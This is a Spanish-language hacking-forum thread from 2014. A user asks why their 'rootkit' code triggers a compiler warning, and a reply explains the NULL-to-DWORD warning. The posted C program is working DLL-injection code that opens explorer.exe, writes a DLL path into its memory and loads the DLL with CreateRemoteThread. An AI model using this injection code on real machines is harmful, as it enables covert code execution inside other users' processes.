Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: colcrt en 29 Septiembre 2014, 07:40 am



Título: error al compilar este rootkit
Publicado por: colcrt en 29 Septiembre 2014, 07:40 am
hola a tod@s es que estaba siguiendo esta guia para aprender un poco mas a programar y por que no acerca de este tipo de virus pero me ha surgido un problema que no entiendo muy bien cuando trato de compilar el codigo me salta este error
Código:
35 109 [Warning] passing NULL to non-pointer argument 3 of 'void* CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, 
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD)' [-Wconversion-null]

si algun@ fuera amable y me explicara un poco mejor de que se trata el codigo en cuestion es este

Código:
 #include <windows.h>
    #include <tlhelp32.h>

    void main()
    {
    HANDLE proceso;
    LPVOID RemoteString;
    LPVOID nLoadLibrary;
    int pid;

    // OBTENEMOS EL PID DEL PROCESO
    // (Si quieren información sobre estas APIs miren la ayuda de microsoft)

    HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

    //Aquí empezamos a recorrer todos los procesos que están abiertos
    while(Process32Next(handle, &procinfo))
    {
    if(!strcmp(procinfo.szExeFile, "explorer.exe"))//comparamos los nombres
    {
    CloseHandle(handle);
    pid = procinfo.th32ProcessID;//guardamos el PID
    }
    }
    CloseHandle(handle);

    // INYECTAMOS LA DLL
    // (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)

    proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
    RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL);
    CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
    CloseHandle(proceso);
    }

al parecer el error esta en esta linea
Código:
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);


Título: Re: error al compilar este rootkit
Publicado por: Eternal Idol en 29 Septiembre 2014, 11:14 am
Eso no es un error, sino una advertencia; te dice que le estas pasando un puntero a un parametro que es DWORD en realidad. Pasale 0 en lugar de NULL si queres evitar el warning.